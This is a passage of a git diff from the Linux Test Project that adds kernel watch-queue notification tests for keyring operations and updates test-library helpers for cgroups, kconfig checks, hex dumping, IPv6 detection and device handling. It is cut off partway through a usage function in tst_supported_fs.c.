--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue06.c
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl clear is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_cleared(struct watch_notification *n, size_t len,
+                            unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_CLEARED))
+		tst_res(TPASS, "keyctl clear has been recognized");
+	else
+		tst_res(TFAIL, "keyctl clear has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	wqueue_add_key(fd);
+
+	keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING);
+	wqueue_consumer(fd, saw_key_cleared);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue07.c b/testcases/kernel/watchqueue/wqueue07.c
new file mode 100644
index 0000000..6c4d1e9
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue07.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl setperm is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_setattr(struct watch_notification *n, size_t len,
+			    unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_SETATTR))
+		tst_res(TPASS, "keyctl setattr has been recognized");
+	else
+		tst_res(TFAIL, "keyctl setattr has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	keyctl(KEYCTL_SETPERM, key, KEY_POS_ALL | KEY_USR_ALL);
+	wqueue_consumer(fd, saw_key_setattr);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue08.c b/testcases/kernel/watchqueue/wqueue08.c
new file mode 100644
index 0000000..4ed9522
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue08.c
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if key watch removal is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_watch_removal(struct watch_notification *n,
+			      LTP_ATTRIBUTE_UNUSED size_t len,
+			      unsigned int wtype)
+{
+	if (wtype != WATCH_TYPE_META)
+		return;
+
+	if (n->subtype == WATCH_META_REMOVAL_NOTIFICATION)
+		tst_res(TPASS, "Meta removal notification received");
+	else
+		tst_res(TFAIL, "Event not recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	/* if watch_id = -1 key is removed from the watch queue */
+	keyctl(KEYCTL_WATCH_KEY, key, fd, -1);
+	wqueue_consumer(fd, saw_watch_removal);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue09.c b/testcases/kernel/watchqueue/wqueue09.c
new file mode 100644
index 0000000..9f077b3
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue09.c
@@ -0,0 +1,69 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Fill the watch queue and wait for a notification loss.
+ */
+
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+#define WATCH_QUEUE_NOTE_SIZE 128
+
+static int data_lost;
+static key_serial_t key;
+static int fd;
+
+static void saw_data_loss(struct watch_notification *n,
+			  LTP_ATTRIBUTE_UNUSED size_t len, unsigned int wtype)
+{
+	if (wtype != WATCH_TYPE_META)
+		return;
+
+	if (n->subtype == WATCH_META_LOSS_NOTIFICATION)
+		data_lost = 1;
+}
+
+static void setup(void)
+{
+	fd = wqueue_watch(1, &wqueue_filter);
+	key = wqueue_add_key(fd);
+}
+
+static void run(void)
+{
+	int i, iterations;
+
+	iterations = (getpagesize() / WATCH_QUEUE_NOTE_SIZE) * 2;
+	for (i = 0; i < iterations; i++)
+		keyctl(KEYCTL_UPDATE, key, "b", 1);
+
+	data_lost = 0;
+	while (!data_lost)
+		wqueue_consumer(fd, saw_data_loss);
+
+	if (data_lost)
+		tst_res(TPASS, "Meta loss notification received");
+	else
+		tst_res(TFAIL, "Event not recognized");
+}
+
+static void cleanup(void)
+{
+	keyctl(KEYCTL_REVOKE, key);
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/lib/.gitignore b/testcases/lib/.gitignore
index bc299b6..c0d4dc8 100644
--- a/testcases/lib/.gitignore
+++ b/testcases/lib/.gitignore
@@ -1,7 +1,9 @@
 /tst_check_drivers
+/tst_check_kconfigs
 /tst_checkpoint
 /tst_device
 /tst_getconf
+/tst_get_free_pids
 /tst_get_median
 /tst_get_unused_port
 /tst_kvcmp
@@ -12,3 +14,5 @@
 /tst_rod
 /tst_sleep
 /tst_supported_fs
+/tst_hexdump
+/tst_timeout_kill
diff --git a/testcases/lib/Makefile b/testcases/lib/Makefile
index f77da0d..f4f8c85 100644
--- a/testcases/lib/Makefile
+++ b/testcases/lib/Makefile
@@ -1,24 +1,6 @@
-#
-#    testcases library Makefile (differs from lib/).
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, August 2009
-#
 
 top_srcdir		?= ../..
 
@@ -29,6 +11,7 @@
 MAKE_TARGETS		:= tst_sleep tst_random tst_checkpoint tst_rod tst_kvcmp\
 			   tst_device tst_net_iface_prefix tst_net_ip_prefix tst_net_vars\
 			   tst_getconf tst_supported_fs tst_check_drivers tst_get_unused_port\
-			   tst_get_median
+			   tst_get_median tst_hexdump tst_get_free_pids tst_timeout_kill\
+			   tst_check_kconfigs tst_cgctl
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/lib/cmdlib.sh b/testcases/lib/cmdlib.sh
index 0c5f5a4..7fe3175 100644
--- a/testcases/lib/cmdlib.sh
+++ b/testcases/lib/cmdlib.sh
@@ -103,7 +103,7 @@
 {
     for cmd in $*; do
         if ! command -v $cmd >/dev/null 2>&1; then
-            tst_resm TCONF "$1: command $2 not found."
+            tst_resm TCONF "command $cmd not found."
             exit 32
         fi
     done
diff --git a/testcases/lib/test.sh b/testcases/lib/test.sh
index a15fb05..8947f47 100644
--- a/testcases/lib/test.sh
+++ b/testcases/lib/test.sh
@@ -233,7 +233,9 @@
 
 ROD_SILENT()
 {
-	local tst_out="$($@ 2>&1)"
+	local tst_out
+
+	tst_out="$($@ 2>&1)"
 	if [ $? -ne 0 ]; then
 		echo "$tst_out"
 		tst_brkm TBROK "$@ failed"
@@ -321,6 +323,22 @@
 	ROD_SILENT mkfs.$fs_type $fs_opts $device
 }
 
+# Detect whether running under hypervisor: Microsoft Hyper-V
+# Return 0: running under Hyper-V
+# Return 1: not running under Hyper-V (bare metal, other hypervisor or
+#           failure of detection)
+tst_virt_hyperv()
+{
+	local v
+
+	v="$(systemd-detect-virt)"
+
+	[ $? -eq 0 ] || return 1
+	[ "$v" = "microsoft" ] || return 1
+
+	return 0
+}
+
 tst_umount()
 {
 	local device="$1"
diff --git a/testcases/lib/tst_ansi_color.sh b/testcases/lib/tst_ansi_color.sh
index 703df1e..43d8f8c 100644
--- a/testcases/lib/tst_ansi_color.sh
+++ b/testcases/lib/tst_ansi_color.sh
@@ -24,18 +24,26 @@
 
 tst_color_enabled()
 {
-	[ "$LTP_COLORIZE_OUTPUT" = "n" ] || [ "$LTP_COLORIZE_OUTPUT" = "0" ] && return 0
-	[ "$LTP_COLORIZE_OUTPUT" = "y" ] || [ "$LTP_COLORIZE_OUTPUT" = "1" ] && return 1
+	if [ "$LTP_COLORIZE_OUTPUT" = "n" -o "$LTP_COLORIZE_OUTPUT" = "0" ]; then
+		return 0
+	fi
+
+	if [ "$LTP_COLORIZE_OUTPUT" = "y" -o "$LTP_COLORIZE_OUTPUT" = "1" ]; then
+		return 1
+	fi
+
 	[ -t 1 ] || return 0
+
 	return 1
 }
 
 tst_print_colored()
 {
-	tst_color_enabled
-	local color=$?
+	local color=0
 
-	[ "$color" = "1" ] && tst_flag2color "$1"
+	tst_color_enabled || color=$?
+
+	[ "$color" != 1 ] || tst_flag2color "$1"
 	printf "$2"
-	[ "$color" = "1" ] && printf '\033[0m'
+	[ "$color" != 1 ] || printf '\033[0m'
 }
diff --git a/testcases/lib/tst_cgctl.c b/testcases/lib/tst_cgctl.c
new file mode 100644
index 0000000..2685bef
--- /dev/null
+++ b/testcases/lib/tst_cgctl.c
@@ -0,0 +1,87 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 Canonical Ltd.
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+#include "tst_cgroup.h"
+
+static void cgctl_usage(void)
+{
+	fprintf(stderr, "Usage: tst_cgctl require [controller] [test_pid]\n\tcleanup [config (output of tst_cg_print_config)]\n\tprint\n\thelp\n");
+}
+
+static int cgctl_require(const char *ctrl, int test_pid)
+{
+	struct tst_cg_opts opts;
+
+	memset(&opts, 0, sizeof(opts));
+	opts.test_pid = test_pid;
+
+	tst_cg_require(ctrl, &opts);
+	tst_cg_print_config();
+
+	return 0;
+}
+
+static int cgctl_cleanup(const char *const config)
+{
+	tst_cg_scan();
+	tst_cg_load_config(config);
+	tst_cg_cleanup();
+
+	return 0;
+}
+
+static int cgctl_print(void)
+{
+	tst_cg_scan();
+	tst_cg_print_config();
+
+	return 0;
+}
+
+int main(int argc, char *argv[])
+{
+	int test_pid;
+	const char *cmd_name = argv[1];
+
+	if (argc < 2)
+		goto error;
+
+	if (!strcmp(cmd_name, "require")) {
+		if (argc != 4)
+			goto arg_num_error;
+		test_pid = atoi(argv[3]);
+		if (!test_pid) {
+			fprintf(stderr, "tst_cgctl: Invalid test_pid '%s' given\n",
+				argv[3]);
+			goto error;
+		}
+		return cgctl_require(argv[2], test_pid);
+	} else if (!strcmp(cmd_name, "cleanup")) {
+		if (argc != 3)
+			goto arg_num_error;
+		return cgctl_cleanup(argv[2]);
+	} else if (!strcmp(cmd_name, "print")) {
+		return cgctl_print();
+	} else if (!strcmp(cmd_name, "help")) {
+		cgctl_usage();
+		return 0;
+	}
+
+	fprintf(stderr, "tst_cgctl: Unknown command '%s' given\n", cmd_name);
+	goto error;
+
+arg_num_error:
+	fprintf(stderr,
+		"tst_cgctl: Invalid number of arguments given for command '%s'\n",
+		cmd_name);
+error:
+	cgctl_usage();
+	return 1;
+}
diff --git a/testcases/lib/tst_check_kconfigs.c b/testcases/lib/tst_check_kconfigs.c
new file mode 100644
index 0000000..07fd65a
--- /dev/null
+++ b/testcases/lib/tst_check_kconfigs.c
@@ -0,0 +1,50 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include "tst_kconfig.h"
+
+int main(int argc, char *argv[])
+{
+	char *str = argv[1];
+	char *delim = argv[2];
+	unsigned int i, cnt = 1, ret = 0;
+
+	switch(argc) {
+	case 2:
+		delim = ",";
+	break;
+	case 3:
+		if (strlen(delim) > 1) {
+			fprintf(stderr, "The delim must be a single character\n");
+			return 1;
+		}
+	break;
+	default:
+		fprintf(stderr, "Please provide kernel kconfig list and delim "
+				"(optinal, default value is ',')\n");
+		return 1;
+	}
+
+	for (i = 0; str[i]; i++) {
+		if (str[i] == delim[0])
+			cnt++;
+	}
+
+	char **kconfigs = malloc(++cnt * sizeof(char *));
+	if (!kconfigs) {
+		fprintf(stderr, "malloc failed\n");
+		return 1;
+	}
+
+	for (i = 0; i < cnt; i++)
+		kconfigs[i] = strtok_r(str, delim, &str);
+
+	if (tst_kconfig_check((const char * const*)kconfigs))
+		ret = 1;
+
+	free(kconfigs);
+	return ret;
+}
diff --git a/testcases/lib/tst_device.c b/testcases/lib/tst_device.c
index 2a3ab12..45f77a3 100644
--- a/testcases/lib/tst_device.c
+++ b/testcases/lib/tst_device.c
@@ -18,8 +18,10 @@
 
 static void print_help(void)
 {
-	fprintf(stderr, "\nUsage: tst_device acquire [size [filename]]\n");
-	fprintf(stderr, "   or: tst_device release /path/to/device\n\n");
+	fprintf(stderr, "\nUsage:\n");
+	fprintf(stderr, "tst_device acquire [size [filename]]\n");
+	fprintf(stderr, "tst_device release /path/to/device\n");
+	fprintf(stderr, "tst_device clear /path/to/device\n\n");
 }
 
 static int acquire_device(int argc, char *argv[])
@@ -40,11 +42,10 @@
 		}
 	}
 
-	if (argc >= 4) {
+	if (argc >= 4)
 		device = tst_acquire_loop_device(size, argv[3]);
-	} else {
+	else
 		device = tst_acquire_device__(size);
-	}
 
 	if (!device)
 		return 1;
@@ -73,6 +74,17 @@
 	return tst_detach_device(argv[2]);
 }
 
+static int clear_device(int argc, char *argv[])
+{
+	if (argc != 3)
+		return 1;
+
+	if (tst_clear_device(argv[2]))
+		return 1;
+
+	return 0;
+}
+
 int main(int argc, char *argv[])
 {
 	/*
@@ -95,6 +107,9 @@
 	} else if (!strcmp(argv[1], "release")) {
 		if (release_device(argc, argv))
 			goto help;
+	} else if (!strcmp(argv[1], "clear")) {
+		if (clear_device(argc, argv))
+			goto help;
 	} else {
 		fprintf(stderr, "ERROR: Invalid COMMAND '%s'\n", argv[1]);
 		goto help;
diff --git a/testcases/lib/tst_get_free_pids.c b/testcases/lib/tst_get_free_pids.c
new file mode 100644
index 0000000..d7b68c6
--- /dev/null
+++ b/testcases/lib/tst_get_free_pids.c
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+#define TST_NO_DEFAULT_MAIN
+#include <stdio.h>
+#include <tst_test.h>
+
+extern struct tst_test *tst_test;
+
+static struct tst_test test = {
+};
+
+int main(void)
+{
+	/* force messages to be printed from new library */
+	tst_test = &test;
+
+	printf("%i\n", tst_get_free_pids());
+
+	return 0;
+}
diff --git a/testcases/lib/tst_hexdump.c b/testcases/lib/tst_hexdump.c
new file mode 100644
index 0000000..f83b8bf
--- /dev/null
+++ b/testcases/lib/tst_hexdump.c
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * Convert bytes from standard input to hexadecimal representation.
+ *
+ * Parameters:
+ * -d   Convert hexadecimal values from standard input to binary representation
+ *      instead.
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+
+int decode_hex(void)
+{
+	int ret;
+	unsigned int val;
+
+	while ((ret = scanf("%2x", &val)) == 1)
+		putchar(val);
+
+	return ret != EOF || ferror(stdin);
+}
+
+int encode_hex(void)
+{
+	int val;
+
+	for (val = getchar(); val >= 0 && val <= 0xff; val = getchar())
+		printf("%02x", val);
+
+	return val != EOF || ferror(stdin);
+}
+
+int main(int argc, char **argv)
+{
+	int ret, decode = 0;
+
+	while ((ret = getopt(argc, argv, "d"))) {
+		if (ret < 0)
+			break;
+
+		switch (ret) {
+		case 'd':
+			decode = 1;
+			break;
+		}
+	}
+
+	if (decode)
+		return decode_hex();
+	else
+		return encode_hex();
+}
diff --git a/testcases/lib/tst_net.sh b/testcases/lib/tst_net.sh
index fc57190..ceb45c9 100644
--- a/testcases/lib/tst_net.sh
+++ b/testcases/lib/tst_net.sh
@@ -1,7 +1,7 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) 2016-2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2016-2022 Petr Vorel <pvorel@suse.cz>
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
 [ -n "$TST_LIB_NET_LOADED" ] && return 0
@@ -59,6 +59,8 @@
 
 tst_net_setup()
 {
+	[ "$TST_IPVER" = 6 ] && tst_net_require_ipv6
+
 	tst_net_remote_tmpdir
 	[ -n "$TST_SETUP_CALLER" ] && $TST_SETUP_CALLER
 
@@ -71,8 +73,6 @@
 	fi
 }
 
-[ -n "$TST_USE_LEGACY_API" ] && . test.sh || . tst_test.sh
-
 if [ "$TST_PARSE_ARGS_CALLER" = "$TST_PARSE_ARGS" ]; then
 	tst_res TWARN "TST_PARSE_ARGS_CALLER same as TST_PARSE_ARGS, unset it ($TST_PARSE_ARGS)"
 	unset TST_PARSE_ARGS_CALLER
@@ -100,6 +100,32 @@
 	[ -z "$TST_USE_LEGACY_API" ] && tst_brk $@ || tst_brkm $@
 }
 
+tst_net_detect_ipv6()
+{
+	local type="${1:-lhost}"
+	local cmd='[ -f /proc/net/if_inet6 ]'
+	local ret
+
+	if [ "$type" = "lhost" ]; then
+		$cmd
+	else
+		tst_rhost_run -c "$cmd"
+	fi
+	ret=$?
+
+	if [ $ret -eq 0 ]; then
+		TST_NET_IPV6_ENABLED=1
+	else
+		TST_NET_IPV6_ENABLED=0
+		tst_res TINFO "IPv6 disabled on $type"
+	fi
+}
+
+tst_net_require_ipv6()
+{
+	[ "$TST_NET_IPV6_ENABLED" = 1 ] || tst_brk_ TCONF "IPv6 disabled"
+}
+
 init_ltp_netspace()
 {
 	local pid
@@ -109,14 +135,14 @@
 		tst_require_root
 
 		tst_require_drivers veth
-		ROD ip li add name ltp_ns_veth1 type veth peer name ltp_ns_veth2
+		ROD ip link add name ltp_ns_veth1 type veth peer name ltp_ns_veth2
 		pid="$(ROD ns_create net,mnt)"
 		mkdir -p /var/run/netns
 		ROD ln -s /proc/$pid/ns/net /var/run/netns/ltp_ns
 		ROD ns_exec $pid net,mnt mount --make-rprivate /sys
 		ROD ns_exec $pid net,mnt mount -t sysfs none /sys
 		ROD ns_ifmove ltp_ns_veth1 $pid
-		ROD ns_exec $pid net,mnt ip li set lo up
+		ROD ns_exec $pid net,mnt ip link set lo up
 	elif [ -n "$LTP_NETNS" ]; then
 		tst_res_ TINFO "using not default LTP netns: '$LTP_NETNS'"
 	fi
@@ -212,6 +238,7 @@
 # -l LPARAM: parameter passed to CMD in lhost
 # -r RPARAM: parameter passed to CMD in rhost
 # -q: quiet mode (suppress failure warnings)
+# -i: ignore errors on rhost
 # CMD: command to run (this must be binary, not shell builtin/function due
 # tst_rhost_run() limitation)
 # RETURN: 0 on success, 1 on missing CMD or exit code on lhost or rhost
@@ -227,12 +254,13 @@
 	local quiet
 
 	local OPTIND
-	while getopts l:qr:s opt; do
+	while getopts l:qr:si opt; do
 		case "$opt" in
 		l) lparams="$OPTARG" ;;
 		q) quiet=1 ;;
 		r) rparams="$OPTARG" ;;
 		s) lsafe="ROD"; rsafe="-s" ;;
+		i) rsafe="" ;;
 		*) tst_brk_ TBROK "tst_net_run: unknown option: $OPTARG" ;;
 		esac
 	done
@@ -408,7 +436,7 @@
 	local max_net_id=$default_max
 	local min_net_id=0
 
-	local counter host_id host_range is_counter max_host_id min_host_id net_id prefix tmp type
+	local counter host_id host_range is_counter max_host_id min_host_id net_id prefix= tmp type
 
 	local OPTIND
 	while getopts "c:h:n:p" opt; do
@@ -515,6 +543,9 @@
 		ip link set $iface down || return $?
 		ip route flush dev $iface || return $?
 		ip addr flush dev $iface || return $?
+		if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then
+			sysctl -qw net.ipv6.conf.$iface.accept_dad=0 || return $?
+		fi
 		ip link set $iface up
 		return $?
 	fi
@@ -526,6 +557,9 @@
 	tst_rhost_run -c "ip link set $iface down" || return $?
 	tst_rhost_run -c "ip route flush dev $iface" || return $?
 	tst_rhost_run -c "ip addr flush dev $iface" || return $?
+	if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then
+		tst_rhost_run -c "sysctl -qw net.ipv6.conf.$iface.accept_dad=0" || return $?
+	fi
 	tst_rhost_run -c "ip link set $iface up"
 }
 
@@ -602,7 +636,9 @@
 	local ret=0
 	local backup_tst_ipv6=$TST_IPV6
 	TST_IPV6= tst_add_ipaddr $type $link_num || ret=$?
-	TST_IPV6=6 tst_add_ipaddr $type $link_num || ret=$?
+	if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then
+		TST_IPV6=6 tst_add_ipaddr $type $link_num || ret=$?
+	fi
 	TST_IPV6=$backup_tst_ipv6
 
 	return $ret
@@ -618,10 +654,10 @@
 	local iface_rmt=${2:-$(tst_iface rhost)}
 
 	for i in $(seq 1 50); do
-		ip a sh $iface_loc | grep -q tentative
+		ip addr sh $iface_loc | grep -q tentative
 		ret=$?
 
-		tst_rhost_run -c "ip a sh $iface_rmt | grep -q tentative"
+		tst_rhost_run -c "ip addr sh $iface_rmt | grep -q tentative"
 
 		[ $ret -ne 0 -a $? -ne 0 ] && return
 
@@ -711,7 +747,7 @@
 	fi
 
 	s_opts="${cs_opts}${s_opts}-R $s_replies -B $TST_TMPDIR"
-	c_opts="${cs_opts}${c_opts}-a $c_num -r $((c_requests / run_cnt)) -d $rfile"
+	c_opts="${cs_opts}${c_opts}-a $c_num -r $((c_requests / run_cnt)) -d $PWD/$rfile"
 
 	tst_res_ TINFO "run server 'netstress $s_opts'"
 	tst_res_ TINFO "run client 'netstress -l $c_opts' $run_cnt times"
@@ -811,7 +847,7 @@
 
 tst_ping_opt_unsupported()
 {
-	ping $@ 2>&1 | grep -q "invalid option"
+	ping $@ 2>&1 | grep -qE "(invalid|unrecognized) option"
 }
 
 # tst_ping -c COUNT -s MESSAGE_SIZES -p PATTERN -I IFACE -H HOST
@@ -916,9 +952,9 @@
 	[ "$3" = "safe" ] && safe="-s"
 
 	local rparam=
-	[ "$TST_USE_NETNS" = "yes" ] && rparam="-r '-e'"
+	[ "$TST_USE_NETNS" = "yes" ] && rparam="-i -r '-e'"
 
-	tst_net_run $safe $rparam "sysctl -q -w $name=$value"
+	tst_net_run $safe -q $rparam "sysctl" "-q -w $name=$value"
 }
 
 tst_cleanup_rhost()
@@ -933,6 +969,13 @@
 	echo "$((mtu + mtu / 10))"
 }
 
+[ -n "$TST_USE_LEGACY_API" ] && . test.sh || . tst_test.sh
+
+# detect IPv6 support on lhost for tests which don't use test links
+tst_net_detect_ipv6
+
+[ -n "$TST_NET_SKIP_VARIABLE_INIT" ] && return 0
+
 # Management Link
 [ -z "$RHOST" ] && TST_USE_NETNS="yes"
 export RHOST="$RHOST"
@@ -965,8 +1008,13 @@
 if [ -z "$_tst_net_parse_variables" ]; then
 	eval $(tst_net_ip_prefix $IPV4_LHOST || echo "exit $?")
 	eval $(tst_net_ip_prefix -r $IPV4_RHOST || echo "exit $?")
-	eval $(tst_net_ip_prefix $IPV6_LHOST || echo "exit $?")
-	eval $(tst_net_ip_prefix -r $IPV6_RHOST || echo "exit $?")
+
+	[ "$TST_NET_IPV6_ENABLED" = 1 ] && tst_net_detect_ipv6 rhost
+
+	if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then
+		eval $(tst_net_ip_prefix $IPV6_LHOST || echo "exit $?")
+		eval $(tst_net_ip_prefix -r $IPV6_RHOST || echo "exit $?")
+	fi
 fi
 
 [ -n "$TST_USE_NETNS" -a "$TST_INIT_NETNS" != "no" ] && init_ltp_netspace
@@ -975,19 +1023,26 @@
 	eval $(tst_net_iface_prefix $IPV4_LHOST || echo "exit $?")
 	eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV4_RHOST \
 		|| echo "exit $?")
-	eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?")
-	eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \
-		|| echo "exit $?")
+
+	if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then
+		eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?")
+		eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \
+			|| echo "exit $?")
+	fi
 
 	eval $(tst_net_vars $IPV4_LHOST/$IPV4_LPREFIX \
 		$IPV4_RHOST/$IPV4_RPREFIX || echo "exit $?")
-	eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \
-		$IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?")
+
+	if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then
+		eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \
+			$IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?")
+	fi
 
 	tst_res_ TINFO "Network config (local -- remote):"
 	tst_res_ TINFO "$LHOST_IFACES -- $RHOST_IFACES"
 	tst_res_ TINFO "$IPV4_LHOST/$IPV4_LPREFIX -- $IPV4_RHOST/$IPV4_RPREFIX"
 	tst_res_ TINFO "$IPV6_LHOST/$IPV6_LPREFIX -- $IPV6_RHOST/$IPV6_RPREFIX"
+
 	export _tst_net_parse_variables="yes"
 fi
 
diff --git a/testcases/lib/tst_rod.c b/testcases/lib/tst_rod.c
index 2f0ff90..362471f 100644
--- a/testcases/lib/tst_rod.c
+++ b/testcases/lib/tst_rod.c
@@ -77,6 +77,13 @@
 
 	args[pos] = NULL;
 
+	if (!strcmp(args[0], "cd") || !strcmp(args[0], "pushd") ||
+		!strcmp(args[0], "popd")) {
+		fprintf(stderr, "\"%s %s\" has no effect on parent shell\n",
+			argv[0], args[0]);
+		return 1;
+	}
+
 	if (stdin_path) {
 		if (close(0)) {
 			fprintf(stderr, "%s: Failed to close stdin: %s\n",
@@ -130,7 +137,7 @@
 		}
 	}
 
-	execvp(argv[1], args);
+	execvp(args[0], args);
 
 	/* Fall back to shell if command wasn't found */
 	FILE *sin = popen("/bin/sh", "w");
diff --git a/testcases/lib/tst_security.sh b/testcases/lib/tst_security.sh
index 7ae6ddb..0564023 100644
--- a/testcases/lib/tst_security.sh
+++ b/testcases/lib/tst_security.sh
@@ -135,7 +135,7 @@
 tst_get_enforce()
 {
 	local dir=$(tst_get_selinux_dir)
-	[ -z "$dir" ] || return
+	[ -z "$dir" ] && return
 
 	local f="$dir/enforce"
 	[ -f "$f" ] && echo "$f"
diff --git a/testcases/lib/tst_supported_fs.c b/testcases/lib/tst_supported_fs.c
index 43eac19..1832154 100644
--- a/testcases/lib/tst_supported_fs.c
+++ b/testcases/lib/tst_supported_fs.c
@@ -1,46 +1,159 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2019-2022
  * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
 #include <stdio.h>
+#include <stdlib.h>
 #include <string.h>
 
+#define SKIP_DELIMITER ','
+
 #define TST_NO_DEFAULT_MAIN
 #include "tst_test.h"
 #include "tst_fs.h"
 
+#define err_exit(...) ({ \
+	fprintf(stderr, __VA_ARGS__); \
+	fprintf(stderr, "\n"); \
+	usage(); \
+	exit(2); \
+})
+
+#define fail_exit(...) ({ \
+	fprintf(stderr, __VA_ARGS__); \
+	fprintf(stderr, "\n"); \
+	exit(1); \
+})
+
+#define info_exit(...) ({ \
+	fprintf(stderr, __VA_ARGS__); \
+	fprintf(stderr, "\n"); \
+	exit(0); \
+})
+
 static void usage(void)
 {
-	fprintf(stderr, "Usage: tst_supported_fs [fs_type]\n");
-	fprintf(stderr, "   If fs_type is supported, return 0\n");
-	fprintf(stderr, "   If fs_type isn't supported, return 1\n");
-	fprintf(stderr, "   If fs_type isn't specified, print the list of supported filesystems\n");
-	fprintf(stderr, "   fs_type - a specified filesystem type\n");
+	fprintf(stderr, "Usage:\n");
+	fprintf(stderr, "* all filesystems\n");
+	fprintf(stderr, "tst_supported_fs [-s skip_list]\n");
+	fprintf(stderr, "   print the list of supported filesystems\n");
+	fprintf(stderr, "   if fs_type is supported and not in skip_list (optional),\n"
+			"   print list of supported filesystems and return 0\n");
+	fprintf(stderr, "   if fs_type isn't supported or in skip_list, return 1\n\n");
+
+	fprintf(stderr, "* single filesystem\n");
+	fprintf(stderr, "tst_supported_fs fs_type\n");
